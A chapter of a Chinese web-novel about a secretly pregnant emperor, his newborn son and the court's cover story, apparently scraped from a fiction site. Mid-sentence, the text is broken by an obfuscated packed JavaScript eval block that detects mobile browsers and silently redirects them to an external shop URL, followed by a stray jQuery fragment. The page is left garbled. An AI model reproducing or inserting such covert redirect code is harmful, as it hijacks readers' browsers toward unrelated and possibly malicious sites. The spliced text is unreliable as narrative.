文趣网 > 其他小说 > 昏君秘事 > 24.第24章
    陈老太医仗着德高望重的资本,比他人少点识时务的高明,不禁想要再次劝说道:“可是,娘娘,依微臣看,那孩子眉眼比常人粗犷些……”

    金嬉娘打断他:“够了,是你进入内室的时间长,还是哀家看的时间长?哀家比你看得更仔细。”

    金嬉娘又吩咐下人道:“去为陈太医收拾包袱。陈太医年纪大了,不适合再担任院首一职了。人老了,老眼昏花,竟然看不清这孩子是地藏菩萨的转世。”

    金嬉娘又转头凝视众人道:“今日这事,你们出去了,不得大肆张扬、造谣,若是被哀家发现了,于皇家威严有损,罪者诛杀九族。皇帝是男子,得了上天赐福,有幸怀了地藏菩萨化作的小夜叉,皇孙异貌伟然是吉人有天相,借龙腹到人间走一遭。可都记清楚了?记不清楚的,就把脑袋永远留在这里,好好记个清楚。”

    众人不敢再多深思,俱都吓得抖如筛糠,纷纷磕头道是:“奴才们都记着了!皇孙是大恩大德的地藏菩萨!”

    处理完了一众事务,临走前,金嬉娘再深深投向内室一眼,也不知那逆子休息得怎么样了?她将潘玉瓶叫起来,说:“皇帝初分娩,现在正是坐月子的时候,卧病在床,哀家就不跟你们这群下人多计较了。服侍不力的罪过,就用心伺候皇帝坐月子,好将功补过。莫要叫皇帝冷了、气了,不要让他像哀家当初那样忧思成疾,落下了月子病,亏空了身体根基。有什么需要的药材,尽管吩咐太医院。”

    潘玉瓶乖巧得紧,连忙应道:“是,奴婢谨记于心,定会好好服侍皇上。”

    一切都吩咐完了,金嬉娘才揉着额头,拖着疲惫亏虚的身子离开了乾清宫。

    萧承乾就此留下了萧阿蛮。虽说对外无名无分,可是日子也过得平安。他将这孩子偷偷养在养心殿旁边的小暖阁,像一只毫无声息就留下来的阿猫阿狗,由潘玉瓶亲自照顾,兴许是潘玉瓶不孕不育的体质,她照顾这个孩子额外上心,每天寸步不离地抱着孩子,绝不让下人借手捣乱。

    萧承乾招手示意潘玉瓶过来,看着襁褓里的萧阿蛮,孩子长得越发壮实好动了,哭闹的声音也十分响亮,像是一头精力十足的小青牛。萧承乾展露笑颜,说道:“你瞧他,多活泼!像极了他的生父!一开始,我着实是恐惧的,竟觉得这是天罚,是上天给我的报应。可等我摸着这孩子的小脸,我才知道这应该是天赐。幸好我没有犯傻,要是堕了孩子,我肯定会后悔一辈子。”

    潘玉瓶也笑得温婉,说:“奴婢也是这么想的,幸好皇上坚持生下这个孩子。奴婢一见这孩子,便觉得有缘,肯定是上辈子跟这孩子是一家人,这辈子才重聚到一起做了干娘的关系。这孩子是皇上生的,那便是奴婢生的,他就是奴婢的血肉骨头!怎么丢都丢不得,哪有骨血离体的道理!”

    释怀的萧承乾也终于原谅了笨奴,他开门放他进来,笨奴小心翼翼地看着病床上正在坐月子的萧承乾,颇是手足无措,还是萧承乾将孩子送到他怀里,这个黑巨人才笑得见牙不见眼,抱着孩子吱哇乱叫,虽然萧承乾听不懂,但是能看出笨奴对孩子非常喜悦。

    萧承乾窝在九龙金丝被里喝鸡丝煨参粥,潘玉瓶在一边纳着虎头鞋言笑晏晏,笨奴在厅中抱着孩子摇着拨浪鼓,场景十分温馨动人。

    潘玉瓶照顾孩子的时间长了,脸上的阴狠少了许多,她以往是美丽的,但美貌之中总是淬着剧毒,冷艳的容色中是不可容人的傲慢,如今她带着孩子,褪去了许多郁色,脸上笑容多了,像葵花一样开朗,当她低头去看孩子的时候,就像莫高窟里的佛母,慈祥悲悯,温柔若水,是包容万物的阔然。

    有下人渐渐敢靠近潘玉瓶了,往日里潘玉瓶皮笑肉不笑是一只笑面狐狸,少得下人依赖,如今因为多了几分柔和,也有宫人可以跟她聊些八卦了。

    可是潘玉瓶一听这些八卦,柳眉就倒竖起来。只见过那年少的宫女说:“潘姐姐,奴家听说殿里那孩子……可是传说中的鬼婴!永巷里许多人传得沸沸扬扬,您天天照看这孩子,可真有此事?”

    潘玉瓶低声吼道:“你可仔细着你的皮!要不是咱家顾虑着在阿蛮殿下面前不得见血腥,要为小佛爷积德祈福,放在往日里,叫我听着你们在背后嚼舌根,乱说主子们的坏话,我定要拨了你们的舌头,抽了你们的皮,将你们扔进井去化作肥料!这些浑话,你下次若是见着人讨论了,就将那人上告给慈宁宫,定是个砍头的下场!这次我大人有大量,暂且放过你们,休要叫我听着下一句!”

    潘玉瓶凌厉的眼神瞪了那人一眼,那宫女顿时将头缩成了乌龟样,潘玉瓶说:“太后娘娘说了,阿蛮殿下可不是什么阿猫阿狗,更不是孽种鬼婴,而是尊贵的地藏菩萨的转世,那是下凡渡劫的佛祖,才有了这般吃苦的待遇。若不是佛祖,怎么会从天子的肚里生出来?你可见过几千年来,有哪个孩子的来源这么尊贵?那分明就是来保佑国运的镇国祥瑞,岂是你这等下贱的凡人能揣摩的!”

    那宫女心里道既然太后娘娘这么看重阿蛮殿下,为何不光明正大地封作皇子?但她已经不敢质问了,面对潘玉瓶的威压,她连忙低头呐呐道:“是,奴婢知晓了,都是奴才们猪油蒙心,乱嚼舌根罢了,奴婢回去便好好责罚他们。”

    萧承乾坐着月子,渐渐体会到了身为女子的诸多不便,他的身下血崩不断,好在补血及时,大量的千年人参像不要钱似地吊着他的命,也好将他从鬼门关拉了回来。潘玉瓶放下药碗,心疼地抚着他的手,说:“辛苦皇上了。男子的身体本就不像女子那样适合孕育,皇上为了传宗接代,不惜冒险产子,皇上的伟大,奴婢无语凝噎许久,竟无法述说皇上的恩德,此大恩大德已非凡人言语可撼动。”

    萧承乾神色疲惫,挥挥手道:“无妨。朕是男子,亦是掌管天下的天子,这等重任,本就是朕该肩负的。”

    血崩的事儿还好解决,无非是多喝几碗参汤;可是涨奶的事情就不好说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784431|210106||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。萧承乾脸色通红,胸前也涨痛得要死,叫他在床上翻来覆去也不得安稳,他甚至怀疑是不是堵住了奶水。他自个儿翻了翻医书,说是寻常的妇女只要哺乳就能疏通,可他是天子,又是男子,怎么会做出给孩子喂奶这等丑事呢?小阿蛮一生下来,就抱给了奶娘们,自有奶妈子争先恐后地喂奶,何苦要他这个贵人亲自动手?

    若不哺乳,那便要请稳婆医姑来用特定的手法按摩,才能舒缓脉络淤塞,可他又是皇帝,叫他怎么好在一群陌生人面前做出那般羞耻的像女人的举动?他能在生死存亡之际,肯让女人们过来接生,已经是他能做到的最大的让步了。

    萧承乾受金嬉娘从小的男子汉教育,此时脸皮薄得很,绝不承认自己在生产后成了庸俗的妇女,患上了许多妇科相关的慢性病。特别是在潘玉瓶面前,他绝口不提自己在生下萧阿蛮之后,遭受了多少不堪直言的隐秘苦楚,生怕潘玉瓶将他看低了,觉得他不配做她那顶天立地的丈夫。

    无奈之下,萧承乾只好关上门窗,又将笨奴叫进来。他算是看清楚了,整个皇宫只有笨奴这个半哑巴最靠谱,笨奴语言不通,既不懂他做什么,也说不出他要做什么。于是萧承乾招手将笨奴唤过来,又解开胸前的衣带,让笨奴为自己按摩肿大发红的胸膛。

    笨奴忙活了许久,又是上手又是上嘴,两人累得气喘吁吁,才将这堵住的奶水疏通了,笨奴停下来时,已是脸色通红,满额头的汗珠。

    萧承乾终于觉得舒坦,随后脸色一黑,小声对笨奴道:“不准说出去!这可不是朕做的事情,朕是男子,绝不可能有这等妇人的小病小痛,朕的体格强壮着呢,生下一头小牛犊也不过如此!”

    笨奴一脸迷茫,但隐约听懂了几个简单的词,再看萧承乾的脸色,便知晓了他不让他说出去,这是两人间的秘密,于是笨奴赶紧用手指止住了嘴,点了点头,示意他懂了。萧承乾这才放下心来。

    萧承乾因是双性之躯,怀胎一事远比真正的妇人要艰难,坐月子一坐就是三月,度过了整个季节,才好利索起来。萧承乾才出了月子,正在院落中赏花折枝,却见慈宁宫那边派了个嬷嬷过来,请萧承乾进慈宁宫一聚,那嬷嬷说:“太后娘娘有请,让皇上即刻就去。”

    萧承乾看着那嬷嬷的脸色,心里一咯噔,这脸色他可太熟悉了,每次金嬉娘要重罚他的时候,嬷嬷们的脸色就是这般严肃,连头发丝都是一丝不苟的严肃。可是金嬉娘已经许久没有管过他了,直到他出了生孩子这档大事,才来他宫里看了看他,难道是借此事发难?

    萧承乾捉摸不透,嘴上迟疑地探探口风:“嬷嬷,您可是有什么话想说的?”

    慈宁宫派来的嬷嬷欲言又止,最后抿紧了唇线,只说道:“皇上,太后娘娘她非常生气……怕是有史以来,最重的一次怒火了。老奴已是不能透露更多了,还请皇上做好准备。要知道,天大的过错,终究是亲生的母子,太后娘娘是不会害了皇上的。”